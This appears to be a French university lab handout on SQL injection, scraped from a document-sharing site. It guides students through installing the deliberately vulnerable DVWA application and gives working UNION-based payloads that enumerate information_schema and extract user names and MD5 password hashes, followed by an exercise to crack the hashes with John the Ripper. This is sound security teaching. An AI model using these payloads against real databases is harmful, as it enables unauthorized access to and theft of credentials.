0% ont trouvé ce document utile (0 vote)
29 vues17 pages

TP : Sécurité par Injection SQL

Ce document présente un TP sur l'injection SQL dans le cadre du module de sécurité informatique à l'Université Sultan Moulay Slimane. Les étudiants apprendront à exploiter les vulnérabilités de l'application Damn Vulnerable Web Application (DVWA) pour comprendre les problèmes de sécurité web. Le TP inclut des instructions sur l'installation de DVWA et des exercices pratiques sur l'injection SQL.

Transféré par

الكون أسئلة
Copyright
© All Rights Reserved
Nous prenons très au sérieux les droits relatifs au contenu. Si vous pensez qu’il s’agit de votre contenu, signalez une atteinte au droit d’auteur ici.
Formats disponibles
Téléchargez aux formats PDF, TXT ou lisez en ligne sur Scribd
0% ont trouvé ce document utile (0 vote)
29 vues17 pages

TP : Sécurité par Injection SQL

Ce document présente un TP sur l'injection SQL dans le cadre du module de sécurité informatique à l'Université Sultan Moulay Slimane. Les étudiants apprendront à exploiter les vulnérabilités de l'application Damn Vulnerable Web Application (DVWA) pour comprendre les problèmes de sécurité web. Le TP inclut des instructions sur l'installation de DVWA et des exercices pratiques sur l'injection SQL.

Transféré par

الكون أسئلة
Copyright
© All Rights Reserved
Nous prenons très au sérieux les droits relatifs au contenu. Si vous pensez qu’il s’agit de votre contenu, signalez une atteinte au droit d’auteur ici.
Formats disponibles
Téléchargez aux formats PDF, TXT ou lisez en ligne sur Scribd

Université Sultan Moulay Slimane (USMS)

Faculté Polydisciplinaire, Beni Mellal (FPBM)


Département de Mathématiques et d'Informatique

Module M36 « Sécurité Informatique »


Filière : SMI 6
TP 5: Injection SQL
“Tell me and I forget. Show me and I remember. Involve me and I understand.”

Chinese proverb

N.B. : Ces travaux pratiques font l'objet d'un Compte Rendu (électronique) qui doit être
envoyé à mon adresse email ([Link]@[Link]). Il fera état des réponses aux questions
et réalisation des diverses tâches du TP. Vous êtes libre d'ajouter tout élément
d'information qu'il vous semblera judicieux de donner.

Introduction

Il existe de nombreuses applications vulnérables qu’on peut utiliser pour éduquer les
développeurs sur les problèmes de sécurité web. Le projet OWASP VWAD (Vulnerable
Web Applications Directory) présente un registre complet et bien tenu de toutes les
applications Web vulnérables connues actuellement disponibles.

Dans ce TP, nous nous concentrerons sur l'un des projets les plus connus : Damn
Vulnerable Web Application (DVWA). DVWA est une application Web PHP/MySQL qui
est explicitement vulnérable à la plupart des risques de sécurité des applications Web
OWASP Top 10. L'application peut être utilisée pour comprendre les processus de
sécurisation des applications Web et aider les développeurs Web à apprendre la sécurité
des applications Web dans un environnement contrôlé.

AVERTISSEMENT : accéder ou attaquer un système informatique sans autorisation est


illégal dans de nombreuses juridictions. Au cours de ce TP, vous êtes spécifiquement
autorisé à attaquer l'application DVWA comme indiqué. Vous devez utiliser ce que vous
avez appris en TP pour sécuriser davantage vos propres applications. Vous ne devez pas
l'utiliser pour attaquer des applications autres que la vôtre.

1
Université Sultan Moulay Slimane (USMS)
Faculté Polydisciplinaire, Beni Mellal (FPBM)
Département de Mathématiques et d'Informatique

Objectifs :

La meilleure façon d'apprendre des choses est de les pratiquer, vous aurez donc la
chance de réaliser de vrais tests d'intrusion, en exploitant réellement une vraie
application. Plus précisément, vous apprendrez ce qui suit :

 Comment mettre en place un environnement légal pour tester des attaques web.
 Comment une application peut être attaquée à l'aide de vulnérabilités de sécurité
Web courantes, telles que les vulnérabilités d'injection SQL.

Présentation du projet DVWA

DVWA est une application Web PHP/MySQL qui est extrêmement vulnérable à la plupart
des 10 principaux risques de sécurité des applications Web OWASP. Il peut être utilisé
pour comprendre les processus de sécurisation des applications Web et aider les
étudiants à apprendre la sécurité des applications Web dans un environnement contrôlé.

En particulier, DVWA offre la possibilité de s'entraîner aux problèmes de sécurité


Web les plus courants :
 Brute Force: utilisée pour tester les outils de force brute de mot de passe et
montrer l'insécurité des mots de passe faibles.
 Command Execution: exécute des commandes malveillantes sur le système
d'exploitation de l’application DVWA.
 File Inclusion: Permet à un attaquant d'inclure des fichiers distants/locaux
dans l'application Web.
 SQL Injection : Permet à un attaquant d'injecter des instructions SQL dans
une boîte de saisie de formulaire HTTP. DVWA inclut l'injection SQL aveugle
et basée sur les erreurs (Blind and Error based SQL injection).
 Insecure File Upload : permet à un attaquant de télécharger des fichiers
malveillants sur le serveur Web.
 Cross Site Scripting (XSS) : Un attaquant peut injecter ses propres scripts dans
l'application web/base de données. DVWA inclut le XSS réfléchi et stocké
(Reflected and Stored XSS).
 Cross Site Request Forgery (CSRF): une attaque qui oblige un utilisateur final
à exécuter des actions indésirables sur une application Web dans laquelle il est
actuellement authentifié.

2
Université Sultan Moulay Slimane (USMS)
Faculté Polydisciplinaire, Beni Mellal (FPBM)
Département de Mathématiques et d'Informatique

 …
DVWA inclut à la fois des vulnérabilités documentées et non documentées. L'objectif
est de mettre les apprenants en sécurité Web au défi d'essayer de découvrir autant de
vulnérabilités que possible.
De plus, chaque vulnérabilité contenue dans DVWA a quatre niveaux de sécurité
différents, faible (Low), moyen (Medium), élevé (High) et impossible. Chaque niveau
modifie l'état de vulnérabilité de DVWA dans l'ensemble de l'application :
1) Low - Ce niveau est complètement vulnérable et n'a aucune mesure de
sécurité.
2) Medium – Ce niveau sert principalement à donner à l'utilisateur un exemple
de mauvaises pratiques de sécurité, où le développeur a essayé mais n'a pas
réussi à sécuriser l’application.
3) High - Cette option est une extension de la difficulté moyenne, avec un
mélange de mauvaises pratiques plus difficiles ou alternatives pour tenter de
sécuriser le code.
4) Impossible - Ce niveau doit être sécurisé contre toutes les vulnérabilités. Il est
utilisé pour comparer le code source vulnérable au code source sécurisé.
Par défaut, lorsque DVWA est installé, le niveau de sécurité est défini sur
« Impossible ». Vous pouvez voir le niveau de sécurité actuel dans le coin inférieur
gauche de la page Web (Figure 1).

Figure 1. Page d'accueil DVWA

3
Université Sultan Moulay Slimane (USMS)
Faculté Polydisciplinaire, Beni Mellal (FPBM)
Département de Mathématiques et d'Informatique

(1) Pour modifier ce niveau de sécurité, le bouton de menu « DVWA Security » nous
permet de choisir n'importe quel autre niveau tel que « low ». La figure 2 montre le
processus en trois étapes nécessaires pour faire passer le niveau DVWA d'impossible
à faible (low) :
o (1) Cliquez sur « DVWA Security », dans le menu de gauche.
o (2) Sélectionnez "low"
o (3) Cliquez sur “Submit”

Figure 2. Étapes pour changer le niveau de sécurité DVWA


Comme indiqué dans la figure 1, il existe autres options importantes :

(2) View Source: Cliquez sur Afficher la source (view source) pour afficher le code de
chaque niveau. La figure ci-dessous montre le code source de la page de vulnérabilité
d'injection SQL de bas niveau DVWA.

4
Université Sultan Moulay Slimane (USMS)
Faculté Polydisciplinaire, Beni Mellal (FPBM)
Département de Mathématiques et d'Informatique

Figure 3. Code source de la page de vulnérabilité d'injection SQL du niveau (low)


(3) View help: Help you to understand how you can practice the web application
vulnerabilities using DVWA.
(4) Setup/Rest DB: Cliquez sur Setup/Rest DB pour créer ou réinitialiser la base de
données de l'application.

5
Université Sultan Moulay Slimane (USMS)
Faculté Polydisciplinaire, Beni Mellal (FPBM)
Département de Mathématiques et d'Informatique

Tâche 1 : Installation et configuration de DVWA

Comme son nom l'indique, DVWA est conçu pour présenter de nombreuses
vulnérabilités. Pour cette raison, il est fortement recommandé de configurer DVWA sur
une machine virtuelle à l'aide de Virtual Box ou de VMware Workstation.

o Etape 1: Installation et configuration soit de Virtual Box ou bien VMware


Workstation player.
o Etape 2 : Dans Virtual Box, installez et configurez un système d'exploitation
basé sur Linux ou Windows.
o Etape 3: DVWA est une application Web basée sur PHP, vous devrez donc
installer un environnement de développement PHP. Dans un système
d'exploitation basé sur Windows, installez WAMP Server et dans un système
d'exploitation basé sur Linux, installez XAMPP.
o Étape 4 : installez le fichier zip DVWA à partir de [Link]
o Étape 5 : Extrayez ensuite le fichier zip dans le dossier XAMPP « htdocs » ou
WAMPServer « www » et renommez le dossier DVWA Master en « dvwa »,
afin qu'il soit facile d'y accéder ultérieurement.
o Étape 6 : Renommez le fichier « config [Link] » en «
[Link] ». Le fichier se trouve dans le sous-dossier « dvwa /config ».
o Étape 7 : Modifiez le fichier [Link] en changeant la valeur du
paramètre 'db _ password'='p@ssw0rd' en db _ password'=' ' comme indiqué
dans la figure ci-dessous :

Figure 4. Fichier de configuration DVWA « [Link] »


 Étape 8 : Démarrez votre environnement de développement PHP (XAMPP ou
WAMPServer)
 Étape 9 : Pour accéder à la page de configuration DVWA, ouvrez votre navigateur
Web puis entrez « localhost/dvwa » dans la barre d'adresse, vous pouvez
également utiliser « [Link]/dvwa ». Ensuite, cliquez sur le bouton
« Create/Reset Database» comme illustré à la Figure 5. La base de données sera
créée et vous serez ensuite dirigé vers une page de connexion.
6
Université Sultan Moulay Slimane (USMS)
Faculté Polydisciplinaire, Beni Mellal (FPBM)
Département de Mathématiques et d'Informatique

Figure 5. Page de configuration DVWA


 Étape 10 : Dans la page de connexion, saisissez « admin » comme nom
d'utilisateur et « password » comme mot de passe, puis cliquez sur le bouton de
login.

Figure 6. Page de login de DVWA

7
Université Sultan Moulay Slimane (USMS)
Faculté Polydisciplinaire, Beni Mellal (FPBM)
Département de Mathématiques et d'Informatique

Pour plus de détails sur le processus d'installation et de configuration de DVWA, visitez


l'URL suivante :

 [Link]

Tâche 2 : Exploitation manuelle d'injection SQL

L'injection SQL est l'attaque par injection la plus courante qu'un attaquant peut utiliser
pour exécuter une instruction SQL malveillante afin d'accéder et de manipuler des bases
de données SQL (MySQL, MariaDB, etc.). Par exemple, ce problème de sécurité Web est
classé numéro un dans le dernier rapport OWASP OWASP Top Ten report of 2017.

Dans cette tâche, vous allez effectuer les opérations suivantes :

1. utiliser des instructions SQL d'injection toujours vraies (always true SQL
statements) dans le champ ID utilisateur d'injection SQL avec une sécurité de
DVWA définie sur faible (low).
2. Nous obtiendrons le contenu du nom d'utilisateur et du mot de passe haché avec
MD5 à partir de la table des utilisateurs.
3. Nous utiliserons John the Ripper pour déchiffrer le mot de passe HASH raw-MD5
pour chaque utilisateur.

Afin d'exploiter les vulnérabilités d'injection SQL, nous devons comprendre comment la
requête est construite afin d'injecter notre paramètre. Par exemple, lorsque nous
sélectionnons "SQL Injection" dans le menu de navigation de gauche de DVWA (Figure 7)
en utilisant le niveau de sécurité faible, nous pouvons voir un champ de texte où il
demande l'ID utilisateur (Figure 3).

8
Université Sultan Moulay Slimane (USMS)
Faculté Polydisciplinaire, Beni Mellal (FPBM)
Département de Mathématiques et d'Informatique

Figure 7. Page Web d'injection SQL


Si nous entrons « 1 » dans l'ID utilisateur et que nous cliquons sur le bouton soumettre,
nous remarquerons qu'il renverra le prénom et le nom de l'utilisateur avec ID=1 (Figure
8). L'instruction SQL select que nous allons exploiter:

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

Figure 8. Résultat après l’envoi de l’ID de valeur 1


Après l’exécution de la requête la valeur du variable $id=1.

9
Université Sultan Moulay Slimane (USMS)
Faculté Polydisciplinaire, Beni Mellal (FPBM)
Département de Mathématiques et d'Informatique

1. Saisissez le texte ci-dessous dans la zone de texte de l'ID utilisateur (Figure 9), et
cliquez sur « submit » : %' or '0'='0

Figure 9. Résultat de l’exécution de la requête : "SELECT first_name, last_name FROM


users WHERE user_id = '%' or '0'='0'";
Dans ce scénario, nous disons afficher tous les enregistrements faux et tous les
enregistrements vrais :

 %' - Ne sera probablement pas égal à quoi que ce soit, et sera faux.
 '0'='0' - Est égal à vrai, car 0 sera toujours égal à 0.

Donc l’instruction SQL est la suivant :

mysql> SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0';

2. Pour afficher la version de la base de données, saisissez le texte ci-dessous dans


la zone de texte de l'ID utilisateur (Figure 10), puis cliquez sur « submit ».

%' or 0=0 union select null, version() #

10
Université Sultan Moulay Slimane (USMS)
Faculté Polydisciplinaire, Beni Mellal (FPBM)
Département de Mathématiques et d'Informatique

Figure 10. Résultat de l’exécution de la requête. La version du MYSQL est 5.7.24.


3. Pour afficher l'utilisateur de la base de données, saisissez le texte ci-dessous dans
la zone de texte de l'ID utilisateur (Figure 11) :

%' or 0=0 union select null, user() #

11
Université Sultan Moulay Slimane (USMS)
Faculté Polydisciplinaire, Beni Mellal (FPBM)
Département de Mathématiques et d'Informatique

Figure 11. Dans la dernière ligne, root@localhost est affiché dans le « Surname ». Il s'agit
du nom de l'utilisateur de la base de données qui a exécuté le code SQL sur le SGBD MySQL.
Pour afficher le nom de la base de données, saisissez le texte ci-dessous dans la zone de
texte de l'ID utilisateur (Figure 12).

%' or 0=0 union select null, database() #

12
Université Sultan Moulay Slimane (USMS)
Faculté Polydisciplinaire, Beni Mellal (FPBM)
Département de Mathématiques et d'Informatique

Figure 12. Dans la dernière ligne, dvwa est affiché dans le « Surname ». Il s'agit du nom de
la base de données.
4. Pour afficher toutes les tables dans information_schema, Saisissez le texte ci-
dessous dans la zone de texte de l'ID utilisateur :

%' and 1=0 union select null, table_name from information_schema.tables #

INFORMATION_SCHEMA est la base de données d'informations, l'endroit qui stocke les


informations sur toutes les autres bases de données que le SGBD MySQL maintient.

Le support de la base INFORMATION_SCHEMA est disponible dans MySQL 5.0.2 et les


versions les plus récentes. Il fournit un accès aux métadonnées sur les bases de données.

5. Pour afficher toutes les tables utilisateur dans information_schema, saisissez le


texte ci-dessous dans la zone de texte de l'ID utilisateur :

13
Université Sultan Moulay Slimane (USMS)
Faculté Polydisciplinaire, Beni Mellal (FPBM)
Département de Mathématiques et d'Informatique

%' and 1=0 union select null, table_name from information_schema.tables where
table_name like 'user%'#

Cette requête affiche toutes les tables commençant par le préfixe "user" dans la base de
données information_schema.

Figure 13. Affichage de toutes les tables commençant par le préfixe "user" dans la base de
données information_schema.
6. Pour afficher tous les champs de colonnes dans la table utilisateur
information_schema, saisissez le texte ci-dessous dans la zone de texte de l'ID
utilisateur :

%' and 1=0 union select null, concat(table_name,0x0a,column_name) from


information_schema.columns where table_name = 'users' #

14
Université Sultan Moulay Slimane (USMS)
Faculté Polydisciplinaire, Beni Mellal (FPBM)
Département de Mathématiques et d'Informatique

Figure 14. Affichage de toutes les colonnes de la table des utilisateurs. Notez qu'il y a une
colonne user_id, first_name, last_name, user et Password.
7. Il est possible maintenant, d’afficher le contenu des champs de colonnes dans la
table utilisateur information_schema en tapant dans la zone de texte de l'ID
utilisateur le texte suivante :

%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #

15
Université Sultan Moulay Slimane (USMS)
Faculté Polydisciplinaire, Beni Mellal (FPBM)
Département de Mathématiques et d'Informatique

Figure 15. Affichage avec succès toutes les informations d'authentification nécessaires dans
cette base de données.
Exercice :

1. Utiliser "John the Ripper" ou d'autres outils pour obtenir les mots de passe en
clair à partir des versions hashés.
2. Changer le niveau de sécurité de l’application DVWA à « Medium ». Et pour « SQL
injection », comparer le code source de ce niveau avec celui du niveau « low ».
3. Changer le niveau de sécurité de l’application DVWA à « High ». Et pour « SQL
injection », comparer le code source de ce niveau avec celui du niveau « low ».
4. Changer le niveau de sécurité de l’application DVWA à « impossible ». Et pour
« SQL injection », comparer le code source de ce niveau avec celui du niveau
« low ».

16
Université Sultan Moulay Slimane (USMS)
Faculté Polydisciplinaire, Beni Mellal (FPBM)
Département de Mathématiques et d'Informatique

Ressources utiles :
 [Link]
 [Link]
 [Link]
t_Sheet.html

17

Vous aimerez peut-être aussi